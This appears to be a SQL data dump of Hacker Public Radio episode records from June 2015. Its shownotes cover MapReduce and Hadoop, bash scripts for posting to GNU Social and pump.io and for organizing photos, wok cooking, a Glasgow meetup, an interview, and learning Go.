(1786,'2015-06-08','What is MapReduce?',2188,'Charles in NJ returns in his outdoor studio to explain a Big Data concept.','<p>\r\nShownotes in <a href=\"https://hackerpublicradio.org/eps/hpr1786.pdf\">pdf format</a><br />\r\nShownotes in <a href=\"https://hackerpublicradio.org/eps/hpr1786.docx\">docx format</a><br />\r\n</p>\r\n\r\n<h1>What is MapReduce, Anyway?</h1>\r\n\r\n<p>MapReduce is inspired by three approaches from\r\nfunctional programming for applying a function to each item of a\r\ncollection of data, namely, Map, Filter and Reduce.  That is pretty\r\nabstract, so I will try to bring some of these ideas down to Earth.  \r\nI\'ll use lists to represent the “data” in any examples, but the\r\nconcepts in MapReduce can apply equally well to any data source:\r\nmultiple streams from the Internet, a number of internal data stores\r\nfrom multiple sites, and even user keystrokes/mouse moves.  \r\n</p>\r\n<p>If a function (or operation) can be applied to\r\neach item in some kind of input data, you may be able to use map,\r\nfilter and reduce.</p>\r\n\r\n<h2>Defining Terms</h2>\r\n\r\n<h3>Map</h3>\r\n<p>When we use the expression\r\nMap(function: f, data: [1,2,3,4,5,6]), we are declaring that we want\r\nto apply the function \"f\" to each element in the data.  In\r\nthis case, we have a list of numbers, but the data could be names,\r\nemployee records, or URLs for Internet documents from the Internet\r\nthat we would like to parse to extract useful information.</p>\r\n<p>Example: function f is square(x) = x * x, and the\r\ndata is our list [1..6].</p>\r\n<pre>\r\nMap( square(x), [1,2,3,4,5,6]) = [square(1),square(2), ..., square(6)], or [1, 4, 9, 16, 25, 36]\r\n</pre>\r\n<h3>Filter</h3>\r\n<p>Filtering data is essentially a variation of Map. \r\nYou could think of it in two stages:</p>\r\n<ol>\r\n  <li><p>Apply a \"test\" function to Map each item to either True or False (\"In\" or \"Out\")</p></li>\r\n  <li><p>Use the results of that Map operation to drop any item that fails the test (False)</p></li>\r\n</ol>\r\n\r\n<p>Having said this, a Filter does not have to be implemented in this way.  By\r\ndeclaring that we want to use a Filter operation, we have specified WHAT we\r\nwant to do.  It really does not matter HOW it gets done.</p>\r\n\r\n<p>Most functional programming tutorials would illustrate a Filter by\r\nselecting prime numbers from a list of integers, or to isolate numbers that\r\nare not multiples of 3.  A more useful illustration of Filter is a search\r\nfilter that reviews documents in a repository, or a set of search engine\r\nresults, and returns only those that pass the \"relevance test\".  The test\r\nitself could be defined using a \"fuzzy\" criterion for relevance (0-20% Not,\r\n20-50% A Little, 50-75% Fairly, &gt; 75% Very -- or what have you), but the\r\nend result is that you\'ll choose some documents to accept, and omit the\r\nrest.</p>\r\n\r\n<p>In a filter operation on a large number of data items, you might want to\r\ndrop the items as early as possible.   There is no law that requires you to\r\nmake these decisions in advance when you offer Map or Filter operations on\r\na server.</p>\r\n\r\n<p>In a MapReduce context, Map and Filter will often end up lumped together.\r\nThis is fine, because you don\'t want to waste processing time to perform\r\npotentially expensive transformations on data or documents that you can rule\r\nout immediately with a less computationally expensive filter.</p>\r\n<h3>Reduce</h3>\r\n<p>A Reduce operation on a collection of data is any\r\nkind of aggregate operation that boils down all of the detail items\r\ninto one or more summary metrics computed on the (filtered) data. \r\nThe canonical examples of a Reduce operation would be a Sum or a\r\nCount, but there are other possibilities.</p>\r\n\r\n<p>Reduce is usually defined as an operation:  \r\n</p>\r\n\r\n<p>Reduce(function(accumulator, data item) -> new\r\naccumulator value;  initial value;  data).</p>\r\n\r\n<p>Sometimes, you may see the Reduce operation\r\ndefined recursively:</p>\r\n\r\n<pre>\r\nReduce( function: f, initial_value, data = {first_item, all_other_items} ) is equal to \r\nReduce ( function: f,  new_value = f(initial_value, first_item),  data: {all_other_items})</pre>\r\n\r\n<p>If you follow that script, you can just\r\nrinse-and-repeat until you\'ve processed all of the items.</p>\r\n\r\n\r\n<h2>Why is this some kind of technological advance?</h2>\r\n\r\n<p>If you look at this characterization of Map and\r\nReduce, you\'ll see that these operations are fairly abstract.  The\r\ndeclarations typically state only what needs to be done, and the\r\nimplementation steps that specify how it is to be done are left open.</p>\r\n\r\n<p>For operations on data items that are fairly\r\nindependent of each other, there are advantages in defining things in\r\nthis way.  If there are no dependencies between data items, in the\r\nsense of the two rules listed below, you can use distributed\r\nprocessing across several \"servers\" to get to the result\r\nfor the entire data collection much faster.  \r\n</p>\r\n\r\n<p>Basic ground rules for the simplest case \r\n(Exceptions and additional constraints will apply in real projects):</p>\r\n\r\n<ol>\r\n  <li><p>Computations for each data item do not depend on those for other data items, so no communication, coordination or shared memory is needed between \"worker\" machines.</p></li>\r\n  <li><p>The order of the computations does not matter.</p></li>\r\n</ol>\r\n\r\n<p>Under these conditions, Map and Reduce operations\r\ncould be outsourced from a MapReduce server installation to a fleet\r\nof \"worker\" computers that can take on pieces of the\r\noverall computation, and send their results back to the Aggregation\r\nServer (or \"Boss\" machine).  That could give you a\r\ntremendous speed-up over the alternative of running on a single\r\ncomputing cluster.  So there can be speed advantages that come from\r\nMapReduce.</p>\r\n\r\n<p>With the right infrastructure, you can relax these\r\nconstraints and still get many of the same benefits on data that\r\nneeds to be ordered or preprocessed into some kind of table\r\nstructure.  \r\n</p>\r\n\r\n<p>Another advantage of the Boss/Workers paradigm for\r\nMapReduce operations, which may be less obvious, is fault tolerance. \r\nComputers sometimes fail to complete their assigned tasks.  Network\r\nconnections can be lost.  In a Boss/Workers setup, a Worker could\r\nsend a status report back to the Boss machine (or a Supervisor, since\r\neven the Boss role can be shared) that either contains a SUCCESS\r\nstatus flag and the results of its assignment, or a FAILED flag.  \r\n</p>\r\n<p>If a Boss receives a FAILED message, that piece of\r\nthe overall computation could be re-assigned to other Worker(s).  In\r\nthe case of a network outage, the Boss could respond to a Timeout\r\nevent for the Worker, flush that assignment to that Worker, and\r\nre-assign the unfinished task to other resources with a new unique\r\nID.  Any homework that is turned in after the Timeout event can then\r\nbe ignored.</p>\r\n\r\n<p>Note: This is just one way to build in parallelism\r\nand fault tolerance. \r\n</p>\r\n\r\n<p>An additional advantage to this sort of vague\r\ndefinition of MapReduce tasks is the ability to work with distributed\r\ndata in a way that allows greater use of local processing.  A central\r\nserver (Hub) processing model forces remote sites to transmit all the\r\noriginal data to the Hub, wait for the Hub to do the processing, and\r\nthen possibly transfer the  processed results back from the Hub  to\r\nthe remote data repository.  That\'s a lot of network traffic, any\r\npart of which could be lost, corrupted or even intercepted by third\r\nparties.</p>\r\n\r\n<p>In a Reduce operation, where everything is boiled\r\ndown to some [set of] summary measures, the local site could do much\r\nof the processing work, and transmit only the needed intermediate\r\nresults to the Boss back at the Hub for inclusion in the final totals\r\nover all Worker machines.</p>\r\n\r\n<p>Summary: Leaving the implementation details out of\r\nthe MapReduce specification allows for flexibility and some degree of\r\noptimization in getting these operations done in the most beneficial\r\nway.  \r\n</p>\r\n<ul>\r\n  <li><p>You can optimize to save time, even if that means spending more on hardware and communications.</p></li>\r\n  <li><p>You can design to save money (local processing, servers that are easier to replace, etc.).</p></li>\r\n</ul>\r\n\r\n<p>Whatever your objectives, you can adjust your\r\nimplementation to get the best result for your application.</p>\r\n\r\n\r\n<h2>Enter Hadoop.</h2>\r\n\r\n<p>Hadoop is an open source project from the Apache\r\nFoundation that lets you set up massively parallel distributed\r\nprocessing schemes for computations that can be fit into the\r\nMapReduce paradigm.  The best part is that you can make Hadoop work\r\non varying types of hardware, so you don\'t need to run the pieces of\r\ncomputational work solely on high-end, expensive supercomputers or\r\ncomplex computing cluster installations.  \r\n</p>\r\n\r\n<p>Hadoop makes it possible to farm out the bits of\r\ncomputational \"homework\" to \"commodity hardware\"\r\n– whatever that may mean for your installation.  Commodity hardware\r\nis also an abstract term.  In practice, you can match the level of\r\ncomputing power for Workers to meet the requirements of the assigned\r\nwork.   The worker machines could be set up on computers that are\r\neasy to provision and replace, so you won\'t have to buy\r\nspecial-purpose servers that  require extended periods for setup and\r\nconfiguration.  \r\n</p>\r\n\r\n<p>MapReduce does NOT refer to the process of\r\nsplitting up a large data processing job into assignments.  The\r\nconcepts behind MapReduce help us to think about and plan classes of\r\nprocessing tasks that are frequently applied to large datasets, or to\r\na lot of data streams that are coming in from many sources and\r\nlocations.  \r\n</p>\r\n\r\n<p>So far, it sounds like MapReduce and Hadoop are a\r\nkind of silver bullet that can eliminate the time and expense\r\nrequired to solve “Big Data” problems.  As helpful as these ideas\r\nand their supporting technologies may be, not every potential\r\nMapReduce  job can be optimized as much as we might like.  Hadoop\r\nwill not offer a cure-all for every problem.  \r\n</p>\r\n\r\n<p>We still have to understand the problem, determine\r\nwhat is needed, and work hard to do the right thing.</p>\r\n\r\n<p>But when there is a good fit between the problem\r\nand this approach toward providing a solution, Hadoop and MapReduce\r\ncan be very helpful.</p>\r\n\r\n',229,0,1,'CC-BY-SA','map,reduce,hadoop',0,0,1),
(1799,'2015-06-25','Posting From the Command Line on Open Social Networks',764,'I explain how to post content from the command line on open social networks pump.io and GNU Social','<h2>Posting From the Command Line on Open Social Networks</h2>\r\n\r\n<p>You can post to your open social media timelines from the command line using <a href=\"https://en.wikipedia.org/wiki/Application_programming_interface\">API</a> access. Why would you want to do this?</p>\r\n\r\n<ul>\r\n	<li>Script automated postings.</li>\r\n	<li>Bots</li>\r\n	<li>Post from terminal environments.</li>\r\n	<li>Post from wherever else you are without having to go to the social media site or to the client that you use to access it.</li>\r\n	<li>Trigger postings via voice command (what I do).</li>\r\n</ul>\r\n\r\n<h2>On GNU Social</h2>\r\n\r\n<p>Here is the basic format for the command to post a message to a Statusnet / GNU Social timeline:</p>\r\n\r\n<p><code>curl -s --basic --user &lt;username:password&gt; --data status=\"Hello World\" --output /dev/null https://instance.domain.com/api/statuses/update.xml</code></p>\r\n\r\n<p>And here is the script I use to post a message to my timeline, launched by a blather voice command:</p>\r\n\r\n<pre>\r\n#!/bin/bash\r\n\r\n# SN account info\r\nuser=johndoe\r\npass=\'password123\'\r\n\r\n# a place to store the text message \r\ntext=/tmp/message.txt\r\n\r\n# Virtual keystrokes to copy selected text to the clipboard\r\nxdotool key Control+c\r\n\r\n# pipe text out of clipboard into the text file\r\nxclip -o > $text\r\n\r\n# rest for half a sec\r\nsleep .5\r\n\r\ncurl -s --basic \\\r\n--user $user:$pass \\\r\n--data status=\"$(cat \"$text\")\" \\\r\n--output /dev/null \\\r\nhttps://instance.domain.com/api/statuses/update.xml \r\n\r\nrm $text\r\n\r\nexit 0\r\n</pre>\r\n\r\n<h2>On Pump.io</h2>\r\n\r\n<p>On <strong>pump.io</strong> you have to install the <code>pump.io</code> software on your computer. You don\'t have to be running a server, you just have to have the binaries so that you can run the commands. I will not go into how this is done on this podcast, but there\'s a link to the pump.io website below and there should be installation instructions available there. Once you have the software installed, you also have to allow command-line access to your account and get the token for authentication, maybe authorize the user too:</p>\r\n\r\n<pre>\r\npump-register-app -s instance.domain.com -P 443 -t CLI\r\n</pre>\r\n\r\n<pre>\r\npump-authorize -s instance.domain.com -P 443 -u username\r\n</pre>\r\n\r\n<p>Finally you can post to your timeline from the command line:</p>\r\n\r\n<p><code>pump-post-note -s instance.domain.com -P 443 -p -u username -n \"Hello World.\"</code></p>\r\n\r\n<p>My script to post a message to the <code>pump.io</code> timeline, launched by a blather voice command:</p>\r\n\r\n<pre>\r\n#!/bin/bash\r\n\r\n# a place to put the text. \r\ntext=/tmp/message.txt\r\n\r\n# --------------------------------\r\n# Since markdown is possible, I run \r\n# the text through markdown to get\r\n# a bit of formatting and save it\r\n# as a separate file \r\n# --------------------------------\r\npump=/tmp/pump.txt\r\n\r\n# Virtual keystrokes to copy selected text to the clipboard\r\nxdotool key Control+c\r\n\r\n# pipe text out of clipboard into the text file\r\nxclip -o > $text\r\n\r\n# run Markdown\r\nmarkdown $text > $pump\r\n\r\n# Post message\r\npump-post-note -s instance.domain.com -P 443 -p -u username -n \"$(cat $pump)\"\r\n\r\nsleep 1\r\n\r\nrm $text\r\nrm $pump\r\n\r\nexit 0\r\n</pre>\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li>GNU social: <a href=\"https://gnu.io/\">https://gnu.io/</a></li>\r\n<li><a href=\"https://identi.ca/\">https://identi.ca/</a> (a <a href=\"https://pump.io/\">pump.io</a> network)</li>\r\n<li>pump.io Clients: <a href=\"https://github.com/e14n/pump.io/wiki/Clients\">https://github.com/e14n/pump.io/wiki/Clients</a></li>\r\n<li>My Screencast demonstrating the use of blather voice command to post to a timeline <a href=\"https://youtu.be/IJyzF_-6S2o\">https://youtu.be/IJyzF_-6S2o</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','scripting, command-line, social media, GNU Social, pump.io',0,0,1),
(1787,'2015-06-09','A Beginner with a Wok',1025,'Frank Bell shares some of the things he\'s learned about cooking with a wok.','<p>\r\nMerriam-Websters defines \"stir-fry\" as \"to fry quickly over high heat in a lightly oiled pan (as a wok) while stirring continuously.\"\r\n(Source:  <a href=\"https://www.merriam-webster.com/dictionary/stir-fry\">https://www.merriam-webster.com/dictionary/stir-fry</a>)\r\n</p>\r\n<p>\r\nTalk about stir-frying.  Not an expert by any means, but think I\'ve learned enough to share a bit.\r\n</p>\r\n<p>\r\nFrank bought a wok, quite on impulse, and has been experimenting with stir-fry recipes and has found it surprisingly easy--much easier than, say, making a souffle or oysters Rockefeller.  In this podcast, he discusses what he has learned and in the context of narrating the preparation of a meal.\r\n</p>\r\n\r\n<h3>Some Links:</h3>\r\n\r\n<p>\r\nWok How-Tos:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.seriouseats.com/2010/06/wok-skills-101-stir-frying-basics.html\">https://www.seriouseats.com/2010/06/wok-skills-101-stir-frying-basics.html</a>\r\n</li>\r\n<li><a href=\"https://www.cookinglight.com/cooking-101/techniques/cooking-class-stir-frying\">https://www.cookinglight.com/cooking-101/techniques/cooking-class-stir-frying</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>Two Recipes:</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.myrecipes.com/recipe/shrimp-vegetable-stir-fry\">https://www.myrecipes.com/recipe/shrimp-vegetable-stir-fry</a>\r\n(Note:  The first step in this recipe is to make your own teriyaki sauce.  You can use a commercial sauce instead.)\r\n</li>\r\n<li><a href=\"https://www.epicurious.com/recipes/food/views/spicy-shrimp-and-vegetable-stir-fry-238344\">https://www.epicurious.com/recipes/food/views/spicy-shrimp-and-vegetable-stir-fry-238344</a>\r\n</li>\r\n</ul>',195,93,0,'CC-BY-SA','cooking,stir-fry,wok',0,0,1),
(1788,'2015-06-10','Podcrawl Glasgow 2015',1950,'Dave Morriss and Kevie have a yarn about the upcoming event Podcrawl Glasgow 2015','<p>\r\nDave Morriss and Kevie have a yarn about the upcoming Glasgow Podcrawl.  The event takes place on the 10th of July 2015 and kicks off at 6pm in the State Bar, Holland Street.  The event is open to anybody with an interest in open source software or creative commons music.  Whether you\'re an enthusiast or just interest in finding out more, also if you\'re a member of a band then we would love to have you along for a yarn over a few pints.<br />\r\nCheck out <a href=\"https://kmacphail.blogspot.co.uk/2015/01/podcrawl-glasgow-2015.html\">https://kmacphail.blogspot.co.uk/2015/01/podcrawl-glasgow-2015.html</a> for more details and a map of how to get to the bar.\r\n</p>\r\n',296,0,1,'CC-BY-SA','Glasgow,Podcrawl,open source, ccmusic, podcast, Linux',0,0,1),
(1791,'2015-06-15','Organizing Photos with Bash',1875,'Use bash to simplify the process of organizing and backing up photographs.','<h2>Summary</h2>\r\n<p>In this episode I provide an overview of how I use bash to automate my process\r\n    for orgainizing photographs on my computer.</p>\r\n\r\n<p>There are two main objectives of this script:</p>\r\n<ol>\r\n    <li>Organize photographs in a folder structure that makes sense to me, e.g. 2015/2015-05-22</li>\r\n    <li>Allow me to back up my photographs using a variety of methods.</li>\r\n</ol>\r\n\r\n<h2>Download the Script</h2>\r\n\r\n<p>This script is hosted on Github and you can download the latest version using following command:</p>\r\n\r\n<code>git clone https://gist.github.com/81e489b2a7397bb17305.git</code>\r\n\r\n<h2>Script</h2>\r\n\r\n<pre>\r\n<code>\r\n#!/bin/bash\r\n\r\nshopt -s -o nounset\r\n\r\n# Create variables and configure script.\r\ndeclare -rx SCRIPT=${0##*/}\r\ndeclare TMPDIR=/tmp/photos\r\ndeclare -r CURRENTDIR=`pwd`\r\ndeclare FILES=$TMPDIR/*\r\ndeclare DESTINATION=/media/Tyr/Pictures/Photos\r\ndeclare -r GOOGLEUSER=\"tnyplz@gmail.com\"\r\ndeclare -r  OPTSTRING=\"-h, -d:\"\r\ndeclare -r  LONGOPTSTRING=\"help, destination-directory, no-google-backup, sd-card, tmp-dir, no-delete, backup\"\r\ndeclare RESULT\r\ndeclare GOOGLE_BACKUP=true\r\ndeclare SD=false\r\ndeclare SDDIR\r\ndeclare NODELETE=false\r\ndeclare S3=false\r\n\r\n# Executable dependencies\r\ndeclare -rx find=\"/usr/bin/find\"\r\ndeclare -rx gphoto2=\"/usr/bin/gphoto2\"\r\ndeclare -rx google=\"/usr/bin/google\"\r\ndeclare -rx dcraw=\"/usr/bin/dcraw\"\r\ndeclare -rx rsync=\"/usr/bin/rsync\"\r\ndeclare -rx rename=\"/usr/bin/rename\"\r\ndeclare -rx tar=\"/usr/bin/tar\"\r\ndeclare -rx s3cmd=\"/usr/bin/s3cmd\"\r\n\r\n# Sanity Checks\r\nif test -z $BASH; then\r\n    printf \"$SCRIPT:$LINENO: please run this script with the BASH shell\\n\" >&amp;2\r\n    exit 192\r\nfi\r\n# check for find\r\nif test ! -x $find; then\r\n    printf \"$SCRIPT:$LINENO: the $find command is not available -- \\\r\naborting\\n\" >&amp;2\r\n    exit 192\r\nfi\r\n# check for gphoto2\r\nif test ! -x $gphoto2; then\r\n    printf \"$SCRIPT:$LINENO: the $gphoto2 command is not available -- \\\r\naborting\\n\" >&amp;2\r\n    exit 192\r\nfi\r\n# check for google\r\nif test ! -x $google; then\r\n    printf \"$SCRIPT:$LINENO: the $google command is not available -- \\\r\naborting\\n\" >&amp;2\r\nfi\r\n# check for dcraw\r\nif test ! -x $dcraw; then\r\n    printf \"$SCRIPT:$LINENO: the $dcraw command is not available -- \\\r\naborting\\n\" >&amp;2\r\nfi\r\n# check for rename\r\nif test ! -x $rename; then\r\n    printf \"$SCRIPT:$LINENO: the $rename command is not available -- \\\r\naborting\\n\" >&amp;2\r\n    exit 192\r\nfi\r\n# check for rsync\r\nif test ! -x $rsync; then\r\n    printf \"$SCRIPT:$LINENO: the $rsync command is not available -- \\\r\naborting\\n\" >&amp;2\r\nfi\r\n# check for tar\r\nif test ! -x $tar; then\r\n    printf \"$SCRIPT:$LINENO: the $tar command is not available -- \\\r\naborting\\n\" >&amp;2\r\nfi\r\n# check for glacier-cmd\r\nif test ! -x $s3cmd; then\r\n    printf \"$SCRIPT:$LINENO: the $s3cmd command is not available -- \\\r\naborting\\n\" >&amp;2\r\nfi\r\n\r\n\r\n# Check for Options\r\n# =================\r\n\r\ngetopt -T\r\nif [ $? -ne 4 ]; then\r\n    printf \"$SCRIPT:$LINENO: %s\\n\" \"getopt is in compatibility mode\" >&amp;2\r\n    exit 192\r\nfi\r\n\r\nRESULT=$(getopt --name \"$SCRIPT\" --options \"$OPTSTRING\" --longoptions \"$LONGOPTSTRING\" -- \"$@\")\r\nif [ $? -gt 0 ]; then\r\n    exit 192\r\nfi\r\n\r\neval set -- \"$RESULT\"\r\n\r\nwhile [ $# -gt 0 ]; do\r\n    case \"$1\" in\r\n    -h | --help) # show help\r\n        printf \"%s\\n\" \"\r\nThis script helps you automate the process of downloading photos from\r\nyour camera, uploading backups to Google Picasa, and syncing the files\r\nwith a specified directory.\r\n\r\nDependendies:\r\n  gphoto2\r\n  dcraw\r\n  googlecl\r\n  rsync\r\n  s3cmd\r\n\r\nusage: $SCRIPT [options]\r\n\r\nOptions:\r\n  -h | --help                        Show help for $SCRIPT\r\n  --destination-directory {LOCATION} Set the location where the photos will be\r\n                                     copied to.\r\n  --tmp-dir {LOCATION}               Set the temporary directory where images\r\n                                     will be downloaded to initially. The\r\n                                     default is /tmp/photos.\r\n  --no-google-backup                 Disable uploading low rez copies to Google\r\n                                     Plus.\r\n  --sd-card {LOCATION}               Set the location of the sd card.\r\n  --no-delete                        Do not delete from temp file.\r\n  --backup {FOLDER} {S3 BUCKET}      Create archive from folder and upload to S3.\r\n  \"\r\n        exit 0\r\n        ;;\r\n    --destination-directory ) shift\r\n        if [ $# -eq 0 ]; then\r\n            printf \"$SCRIPT:$LINENO: %s\\n\" \"Invalid argument for destination. No destination given.\" >&amp;2\r\n            exit 192\r\n        fi\r\n        DESTINATION=\"$1\"\r\n        ;;\r\n    --tmp-dir ) shift\r\n        if [ $# -eq 0 ]; then\r\n            printf \"$SCRIPT:$LINENO: %s\\n\" \"Invalid argument for tmp-dir.  No temporary directory given.\" >&amp;2\r\n            exit 192\r\n        fi\r\n        TMPDIR=\"$1\"\r\n        FILES=$TMPDIR/*\r\n        ;;\r\n    --no-google-backup ) shift\r\n        GOOGLE_BACKUP=false\r\n        ;;\r\n    --sd-card ) shift\r\n        SD=true\r\n        if [ $# -eq 0 ]; then\r\n            printf \"$SCRIPT:$LINENO: %s\\n\" \"Invalid argument for sd directory. No sd card directory given.\" >&amp;2\r\n            exit 192\r\n        fi\r\n        SDDIR=\"$1\"\r\n        ;;\r\n    --no-delete ) shift\r\n	NODELETE=true\r\n	;;\r\n    --backup ) shift\r\n        if [ $# -eq 0 ]; then\r\n            printf \"$SCRIPT:$LINENO: %s\\n\" \"Invalid argument for AWS Glacier Backup. Backup folder and vault must be specified.\"\r\n        fi\r\n        S3=true\r\n        BACKUP_FOLDER=\"$1\"\r\n        BUCKET=\"$2\"\r\n        ;;\r\n    esac\r\n    shift\r\ndone\r\n\r\n# Functions\r\n# =========\r\n\r\n# function to convert a raw image to jpg.\r\n# input: requires the user to specify the file extention ($1).\r\nfunction convert_to_jpg () {\r\n  FILES2CONVERT=$TMPDIR/*\"$1\"\r\n  for FILE in $FILES2CONVERT\r\n  do\r\n    FILE2BACKUP=$TMPDIR/Backup/`basename \"$FILE\" \"$1\"`\'.jpg\'\r\n    if [ -e $FILE2BACKUP ]; then\r\n        printf \"$SCRIPT:$LINENO: Skipping $FILE, jpg file already exists\\n\"\r\n    elif [ -e $FILE ]; then\r\n        printf \"$SCRIPT:$LINENO: Converting $FILE to $FILE2BACKUP\\n\"\r\n        $dcraw -cvz -w -o 1 -q 3 \"$FILE\" | cjpeg -quality 80 -optimize > \"$FILE2BACKUP\"\r\n    else\r\n        printf \"Did not convert $FILE\\n\"\r\n    fi\r\n  done\r\n}\r\n\r\n# function to resize jpeg to upload to picasa\r\nfunction resize_to_thumb () {\r\n    FILES2RESIZE=$TMPDIR/Backup/* # TODO pass this in as argument along with destination directory\r\n    for FILE in $FILES2RESIZE\r\n    do\r\n        printf \"$SCRIPT:$LINENO: Creating thumbnail for $FILE...\"\r\n        convert $FILE -resize 2048x2048 $TMPDIR/Backup/Upload/`basename \"$FILE\" \".jpg\"`\'_thumb.jpg\'\r\n        printf \"done\\n\"\r\n    done\r\n}\r\n\r\n# function to import photos\r\nfunction import_photos () {\r\n    printf \"$SCRIPT:$LINENO: Importing Photos\\n\"\r\n    if $SD; then\r\n        cp -p \"$SDDIR\"/* .\r\n    else\r\n        $gphoto2 --quiet --get-all-files\r\n    fi\r\n}\r\n\r\n# function to remove spaces in file names\r\nfunction remove_spaces () {\r\n    $find $1 -depth -name \"* *\" -execdir $rename \'s/ /_/g\' \"{}\" \\;\r\n}\r\n\r\n# function to sort images into direcotries based on date.\r\n# input: directory to sort ($1)\r\n#        directory to sort into ($2)\r\nfunction sort_images () {\r\n    SORTDIR=$2\'/Sorted/\'\r\n    for FILE in $1\r\n    do\r\n        printf \"$SCRIPT:$LINENO: Sorting $FILE\\n\"\r\n        DATEDIR=$SORTDIR`date -r \"$FILE\" +%Y`\'/\'`date -r \"$FILE\" +%Y-%m-%d`\r\n        mkdir -p $DATEDIR\r\n        cp \"$FILE\" $DATEDIR/\r\n    done\r\n}\r\n\r\n# function create archive and upload to AWS S3\r\n# input: directory to create an archive for ($1)\r\n#        s3 bucket name ($2)\r\nfunction archive_folder () {\r\n    ARCHIVE=$TMPDIR/$(basename $1).tar.bz2\r\n    printf \"$SCRIPT:$LINENO: archiving $ARCHIVE\\n\"\r\n    $tar -cvjf $ARCHIVE $1\r\n    $s3cmd put $ARCHIVE $2\r\n}\r\n\r\n# Create temporary directory\r\nmkdir -p $TMPDIR\r\ncd $TMPDIR\r\n\r\n# Create AWS Glacier archive\r\nif $S3; then\r\n    archive_folder $BACKUP_FOLDER $BUCKET\r\n    cd $CURRENTDIR\r\n    if [ $NODELETE = false ]; then\r\n        rm -rf $TMPDIR\r\n    fi\r\n    exit 0\r\nfi\r\n\r\n# Import files from camera\r\nimport_photos\r\nprintf \"$SCRIPT:$LINENO: Importing Photos Done!\\n\"\r\n\r\n# Remove Spaces in Filenames\r\nremove_spaces $TMPDIR\r\n\r\n#Convert all files to lower case\r\nprintf \"$SCRIPT:$LINENO: Converting Photos to Lower Case.\\n\"\r\nfor FILE in *\r\ndo\r\n    f=`echo $FILE | tr \'[:upper:]\' \'[:lower:]\'`\r\n    mv \"$FILE\" \"$f\"\r\ndone\r\nprintf \"$SCRIPT:$LINENO: Converting Photos to Lower Case Done!\\n\"\r\n\r\n# Sort files\r\nsort_images \"$FILES\" \"$TMPDIR\"\r\nprintf \"$SCRIPT:$LINENO: Sorting Images Done!\\n\"\r\n\r\n# Create backup jpgs and upload them to Picassa\r\nmkdir -p $TMPDIR/Backup\r\ncp $TMPDIR/*.jpg $TMPDIR/Backup/\r\n\r\nconvert_to_jpg \".nef\"\r\nconvert_to_jpg \".nrw\"\r\nmkdir -p $TMPDIR/Backup/Upload\r\nresize_to_thumb\r\n\r\nif $GOOGLE_BACKUP; then\r\n    # Upload jpgs to Picassa\r\n    # Requires that you authorize googlecl through the web browser.\r\n    $google picasa create --user $GOOGLEUSER --title \"Backup \"`date +%Y-%m` $TMPDIR/Backup/Upload/*\r\nfi\r\n\r\n# Copy files to final locations\r\n$rsync -ravv $TMPDIR/Sorted/ $DESTINATION # TODO test to make sure destination works\r\n\r\ncd $CURRENTDIR\r\n\r\n# Remove temp folder\r\nif [ $NODELETE = false ]; then\r\n    rm -rf $TMPDIR\r\nfi\r\n\r\nprintf \"$SCRIPT:$LINENO: Processing Complete!\\n\"\r\nexit 0\r\n</code>\r\n</pre>\r\n',263,42,1,'CC-BY-SA','bash, photography, automation',0,0,1),
(1792,'2015-06-16','An Interview with Andrea Frost',607,'David Whitman interviews Andrea Frost during LinuxFest Northwest.','<p>\r\nI interview Andrea Frost at LinuxFest Northwest.\r\n</p>\r\n<h3>Andrea Frost</h3> \r\n<p>\r\nAndrea Frost holds a B.A. in German language and a concentration in mathematics from Western Washington University. A passionate advocate of youth and education, Frost has a wide spectrum of volunteer experience with youth organizations.\r\n</p>\r\n<p>\r\nShe is currently an office assistant for Kids Council Northwest and finishing a post-graduate degree in computer science from Western.\r\n</p>\r\n<p>\r\n<a href=\"https://awc.cs.wwu.edu/\">https://awc.cs.wwu.edu/</a>\r\nWestern Washington University\r\nAssociation for Women in Computing\r\n</p>\r\n<p>\r\n<!--\r\n<a href=\"https://www.bellinghamherald.com/2015/02/17/4137824_women-to-discuss-challenges-highlights.html?rh=1\">https://www.bellinghamherald.com/2015/02/17/4137824_women-to-discuss-challenges-highlights.html?rh=1</a>\r\n-->\r\n<a href=\"https://www.bellinghamherald.com/news/local/article22275924.html\">https://www.bellinghamherald.com/news/local/article22275924.html</a>\r\n</p>\r\n',209,78,1,'CC-BY-SA','LinuxFest Northwest, Andrea Frost, Women in Computing',0,0,1),
(1793,'2015-06-17','Some thoughts about the Go language',539,'I\'ve been learning Go recently. Here are my initial thoughts about the language and framework.','<p>\r\nShow_Notes:\r\n</p>\r\n<p>\r\nHere are some useful links when learning Go:\r\n</p>\r\n\r\n<ul>\r\n<li><p><a href=\"https://tour.golang.org/welcome/1\">https://tour.golang.org/welcome/1</a></p>\r\n</li>\r\n<li><p><a href=\"https://golang.org/doc/code.html\">https://golang.org/doc/code.html</a></p>\r\n</li>\r\n<li><p><a href=\"https://golang.org/doc/effective_go.html\">https://golang.org/doc/effective_go.html</a></p>\r\n</li>\r\n<li><p><a href=\"https://gobyexample.com/\">https://gobyexample.com/</a></p>\r\n</li>\r\n<li><p><a href=\"https://learnxinyminutes.com/docs/go/\">https://learnxinyminutes.com/docs/go/</a></p>\r\n</li>\r\n<li><p><a href=\"https://golang.org/ref/spec\">https://golang.org/ref/spec</a></p>\r\n</li>\r\n<li><p><a href=\"https://golang.org/ref/spec\">https://golang.org/ref/spec</a></p>\r\n</li>\r\n<li><p><a href=\"https://golang.org/pkg/\">https://golang.org/pkg/</a></p>\r\n</li>\r\n<li><p><a href=\"https://godoc.org/\">https://godoc.org/</a></p>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nAnd here are some links to things I mentioned during the show:\r\n</p>\r\n\r\n<ul>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Mebibyte\">https://en.wikipedia.org/wiki/Mebibyte</a></p>\r\n</li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Heartbleed\">https://en.wikipedia.org/wiki/Heartbleed</a></p>\r\n</li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/C_%28programming_language%29\">https://en.wikipedia.org/wiki/C_%28programming_language%29</a></p>\r\n</li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Python_%28programming_language%29\">https://en.wikipedia.org/wiki/Python_%28programming_language%29</a></p>\r\n</li>\r\n</ul>\r\n',302,0,0,'CC-BY-SA','Go language,programming language',0,0,1),
